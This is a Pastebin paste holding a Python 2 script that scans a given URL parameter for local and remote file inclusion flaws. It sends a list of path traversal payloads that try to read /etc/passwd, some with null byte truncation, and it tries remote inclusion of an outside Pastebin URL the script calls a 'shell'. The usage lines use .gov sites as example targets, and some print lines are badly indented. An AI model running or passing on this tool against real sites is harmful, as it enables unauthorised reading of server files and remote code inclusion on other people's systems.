Advertisement
AZZATSSINS_CYBERSERK

Local/Remote File Inclusion (LFI/RFI)

Jun 26th, 2016
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.59 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys, os, time, re, urllib2, socket, httplib
  4.  
  5. if sys.platform == 'linux' or sys.platform == 'linux2':
  6.     clearing = 'clear'
  7. else:
  8.     clearing = 'cls'
  9. os.system(clearing)
  10.  
  11. proxy = "NONE"
  12. count = 0
  13.  
  14. if len(sys.argv) < 2 or len(sys.argv) > 4:
  15.  
  16.     sys.exit(1)
  17.  
  18. for arg in sys.argv:
  19.     if arg == '-h' or arg == '--help' or arg == '-help':
  20.         print "\n|-------------------------------------------------------------------------------|"
  21.  
  22.                 print "| Usage: lfi-rfi.py www.site.com                                                |"
  23.             print "| Example: lfi-rfi.py http://azzatssins.gov/index.php?anu=             |"
  24.         print "| Proxy: lfi-rfi.py http://cyberserkers.gov/index.php?anu= -p PROXY      |"
  25.  
  26.                 print "|-------------------------------------------------------------------------------|\n"
  27.         sys.exit(1)
  28.     elif arg == '-p':
  29.         proxy = sys.argv[count+1]
  30.     count += 1
  31.    
  32. lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
  33.    
  34. site = sys.argv[1]
  35. shell = 'http://pastebin.com/raw/ngqrkRMd'
  36. if site[:4] != "http":
  37.     site = "http://"+site
  38. if site[-1] != "=":
  39.     site = site + "="
  40.  
  41. print "\n[-] %s" % time.strftime("%X")
  42. print
  43. print "-"*80
  44. print "\t\t\tCHECKING FOR LFI"
  45. print "-"*80
  46. print "\n[+] TARGET : ",site
  47. print "[+]",len(lfis),"LFI LOADED..."
  48. print "[+] SCANNING...\n"
  49.  
  50. try:
  51.     if proxy != "NONE":
  52.         print "\n[+] TESTING PROXY..."
  53.         pr = httplib.HTTPConnection(proxy)
  54.         pr.connect()
  55.         print "[+] PROXY : ",proxy
  56.         print "[+] BUILDING HANDLER "
  57.         print
  58.         proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
  59.     else:
  60.         print "\n[-] PROXY NOT GIVEN"
  61.         print
  62.         proxy_handler = ""
  63. except(socket.timeout):
  64.         print "\n[-] PROXY TIME OUT"
  65.         sys.exit(1)
  66. except(),msg:
  67.         print msg
  68.         print "\n[-] PROXY FAILED"
  69.         sys.exit(1)
  70.        
  71.  
  72.        
  73.  
  74. for lfi in lfis:
  75.     print "[+] CHECKING : " ,site+lfi.replace("\n","")
  76.     print
  77.     proxyfier = urllib2.build_opener(proxy_handler)
  78.     try:
  79.         check = proxyfier.open(site+lfi.replace("\n", "")).read()
  80.         if re.findall("root:x:", check):
  81.             print "[!] FOUND : ",lfi
  82.             print
  83.         else:
  84.             print "[-] NOT FOUND : ",lfi
  85.             print
  86.     except(urllib2.HTTPError):
  87.             pass
  88.     except(KeyboardInterrupt, SystemExit):
  89.             raise
  90. print
  91. print "-"*80
  92. print "\t\t\tCHECKING FOR RFI"
  93. print "-"*80       
  94. print "\n[+] TARGET : ",site
  95. print "[+] SCANNING...\n"
  96.  
  97. try:
  98.     check = proxyfier.open(site+'http://pastebin.com/raw/ngqrkRMd').read()
  99.     if re.findall("AZZATSSINS", check):
  100.         print "[!] FOUND : ",site+shell
  101.         print
  102.     else:
  103.         print "[-] NOT FOUND: ",site+shell
  104.         print
  105. except(urllib2.HTTPError):
  106.         pass
  107. except(KeyboardInterrupt, SystemExit):
  108.         pass
  109.        
  110. print
  111. print "\n[-] %s" % time.strftime("%X")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement